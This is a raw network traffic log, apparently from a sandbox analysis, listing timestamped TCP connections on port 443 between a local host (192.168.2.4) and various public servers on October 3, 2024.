Oct 3, 2024 10:41:42.055993080 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.055996895 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.056091070 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.060573101 CEST	49945	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.060590982 CEST	443	49945	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.152089119 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:42.152131081 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:42.152190924 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:42.152496099 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:42.152504921 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:42.209239960 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:42.209295988 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:42.209523916 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:42.209928036 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:42.209940910 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:42.271888971 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:42.271929026 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:42.271955013 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.271991968 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.272064924 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:42.272388935 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.272388935 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.272413015 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.272512913 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.272845984 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.272855043 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.273397923 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:42.273415089 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:42.273987055 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.273999929 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.275610924 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.275645018 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.276215076 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.276249886 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.276290894 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.276299953 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.277270079 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.277285099 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.277530909 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.277544022 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.279695034 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.279725075 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.280205965 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.280213118 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.280256033 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.280286074 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.280703068 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.280714035 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.281032085 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.281043053 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.285502911 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:42.285522938 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:42.285624027 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:42.286137104 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:42.286148071 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:42.485888958 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.486124992 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:42.486154079 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.487210035 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.487279892 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:42.488265038 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:42.488333941 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.488456011 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:42.488471985 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.544778109 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:42.561536074 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.562170982 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.562197924 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.562541962 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.563102007 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.563167095 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.563411951 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.595658064 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.595987082 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.596081018 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:42.611399889 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.616592884 CEST	49954	443	192.168.2.4	34.96.71.22
Oct 3, 2024 10:41:42.616631031 CEST	443	49954	34.96.71.22	192.168.2.4
Oct 3, 2024 10:41:42.627356052 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.627819061 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.627840996 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.629482985 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.629559994 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.630726099 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.630796909 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.631423950 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.631434917 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.635229111 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:42.635268927 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:42.635330915 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:42.635665894 CEST	49970	443	192.168.2.4	157.240.253.1
Oct 3, 2024 10:41:42.635679960 CEST	443	49970	157.240.253.1	192.168.2.4
Oct 3, 2024 10:41:42.638019085 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:42.638056040 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:42.638216019 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:42.638601065 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:42.638617039 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:42.638983011 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:42.639023066 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:42.639076948 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:42.639282942 CEST	49972	443	192.168.2.4	18.214.213.210
Oct 3, 2024 10:41:42.639297009 CEST	443	49972	18.214.213.210	192.168.2.4
Oct 3, 2024 10:41:42.662075996 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.662734032 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:42.662748098 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.663784027 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.663882017 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:42.665257931 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:42.665323973 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.665491104 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:42.665519953 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.696099997 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.696400881 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.696428061 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.696796894 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.697175980 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.697278976 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.697551012 CEST	49950	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.703921080 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.704202890 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.704229116 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.705348015 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.706057072 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.706243038 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.706259966 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.726131916 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.726385117 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.726413012 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.727474928 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.727528095 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.727999926 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.728086948 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.728390932 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.728403091 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.743397951 CEST	443	49950	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.748460054 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.748490095 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:42.751405001 CEST	443	49952	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.766223907 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:42.766838074 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:42.766851902 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:42.767205954 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:42.767661095 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:42.767721891 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:42.767853975 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:42.811410904 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:42.827446938 CEST	49952	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.834053040 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:42.834095001 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:42.834152937 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:42.834414005 CEST	49975	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:42.834425926 CEST	443	49975	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:42.859937906 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.860078096 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.860183001 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.860244036 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.860276937 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.860321999 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.860328913 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.864573002 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.864626884 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.864638090 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.864717960 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.864767075 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.864773989 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.869472980 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.869560003 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.893233061 CEST	49949	443	192.168.2.4	142.250.185.70
Oct 3, 2024 10:41:42.893265009 CEST	443	49949	142.250.185.70	192.168.2.4
Oct 3, 2024 10:41:42.903034925 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:42.903074980 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:42.903270006 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:42.903520107 CEST	49976	443	192.168.2.4	142.250.184.194
Oct 3, 2024 10:41:42.903542042 CEST	443	49976	142.250.184.194	192.168.2.4
Oct 3, 2024 10:41:42.913439989 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:42.914006948 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:42.914024115 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:42.915050983 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:42.915110111 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:42.920320988 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:42.920505047 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:42.920543909 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:42.939404011 CEST	443	49953	13.33.187.116	192.168.2.4
Oct 3, 2024 10:41:42.939460039 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.939490080 CEST	49953	443	192.168.2.4	13.33.187.116
Oct 3, 2024 10:41:42.950478077 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.950503111 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.950594902 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.950619936 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.950726032 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.962606907 CEST	49951	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.962630033 CEST	443	49951	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.969177008 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:42.969430923 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:42.969446898 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:42.969819069 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:42.970331907 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:42.970398903 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:42.970494032 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:42.973123074 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.973155975 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.973191977 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.973259926 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.973619938 CEST	49977	443	192.168.2.4	18.66.102.98
Oct 3, 2024 10:41:42.973633051 CEST	443	49977	18.66.102.98	192.168.2.4
Oct 3, 2024 10:41:42.974036932 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.974168062 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:42.974375963 CEST	49955	443	192.168.2.4	142.250.184.226
Oct 3, 2024 10:41:42.974397898 CEST	443	49955	142.250.184.226	192.168.2.4
Oct 3, 2024 10:41:42.977006912 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:42.977041006 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:42.977164030 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:42.977427959 CEST	49978	443	192.168.2.4	18.173.205.104
Oct 3, 2024 10:41:42.977444887 CEST	443	49978	18.173.205.104	192.168.2.4
Oct 3, 2024 10:41:42.987819910 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.988423109 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.989717007 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.989749908 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.989959955 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.989975929 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.990313053 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.990808964 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.990874052 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.991188049 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:42.991193056 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:42.991234064 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:42.991297007 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:42.991645098 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.991700888 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.991970062 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.992038965 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.992110014 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.992306948 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:42.992317915 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:42.992561102 CEST	49979	443	192.168.2.4	142.250.186.66
Oct 3, 2024 10:41:42.992575884 CEST	443	49979	142.250.186.66	192.168.2.4
Oct 3, 2024 10:41:42.992712975 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:42.992964983 CEST	49961	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.993031025 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.993042946 CEST	443	49964	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.993078947 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.993094921 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.993325949 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:42.993436098 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:42.993464947 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:42.993868113 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.994115114 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.994209051 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.994223118 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.994251013 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.994610071 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.994685888 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.994749069 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.995335102 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.995424986 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.995754004 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.995831966 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.995985985 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.995995998 CEST	443	49965	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.998080015 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:42.998096943 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:42.998155117 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:42.998389006 CEST	49980	443	192.168.2.4	142.250.185.166
Oct 3, 2024 10:41:42.998397112 CEST	443	49980	142.250.185.166	192.168.2.4
Oct 3, 2024 10:41:42.999444962 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:42.999938965 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:42.999967098 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.000488997 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.000799894 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.000889063 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.000917912 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.015120029 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.015407085 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:43.015454054 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.015466928 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.016446114 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.016508102 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.016875029 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.016921997 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.017035007 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.017040968 CEST	443	49966	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.028636932 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:43.028714895 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:43.028884888 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:43.029361010 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:43.029373884 CEST	443	49957	34.251.185.45	192.168.2.4
Oct 3, 2024 10:41:43.029381990 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:43.029433966 CEST	49957	443	192.168.2.4	34.251.185.45
Oct 3, 2024 10:41:43.031121016 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.031167030 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.031322002 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.031527042 CEST	49981	443	192.168.2.4	46.137.24.228
Oct 3, 2024 10:41:43.031542063 CEST	443	49981	46.137.24.228	192.168.2.4
Oct 3, 2024 10:41:43.039398909 CEST	443	49961	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.039402008 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.039416075 CEST	443	49960	52.31.23.243	192.168.2.4
Oct 3, 2024 10:41:43.047405958 CEST	443	49962	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.099621058 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.099637032 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.099637985 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:43.099664927 CEST	49964	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.099668980 CEST	49960	443	192.168.2.4	52.31.23.243
Oct 3, 2024 10:41:43.099688053 CEST	49962	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.125055075 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.125657082 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.125674963 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.126799107 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.126925945 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.128773928 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.128856897 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.129056931 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.136779070 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.136782885 CEST	49965	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.136782885 CEST	49966	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.136800051 CEST	443	49963	13.33.187.60	192.168.2.4
Oct 3, 2024 10:41:43.171402931 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.198267937 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.198282957 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.198327065 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.198354006 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.198362112 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.198429108 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.198453903 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.198491096 CEST	443	49967	18.245.46.89	192.168.2.4
Oct 3, 2024 10:41:43.198546886 CEST	49967	443	192.168.2.4	18.245.46.89
Oct 3, 2024 10:41:43.228634119 CEST	49971	443	192.168.2.4	172.64.151.101
Oct 3, 2024 10:41:43.228641033 CEST	443	49971	172.64.151.101	192.168.2.4
Oct 3, 2024 10:41:43.244590044 CEST	49963	443	192.168.2.4	13.33.187.60
Oct 3, 2024 10:41:43.250639915 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:43.250741005 CEST	443	49959	13.224.189.92	192.168.2.4
Oct 3, 2024 10:41:43.250794888 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:43.256006002 CEST	49959	443	192.168.2.4	13.224.189.92
Oct 3, 2024 10:41:43.256035089 CEST	443	49959	13.224.189.92	192.168.2.4
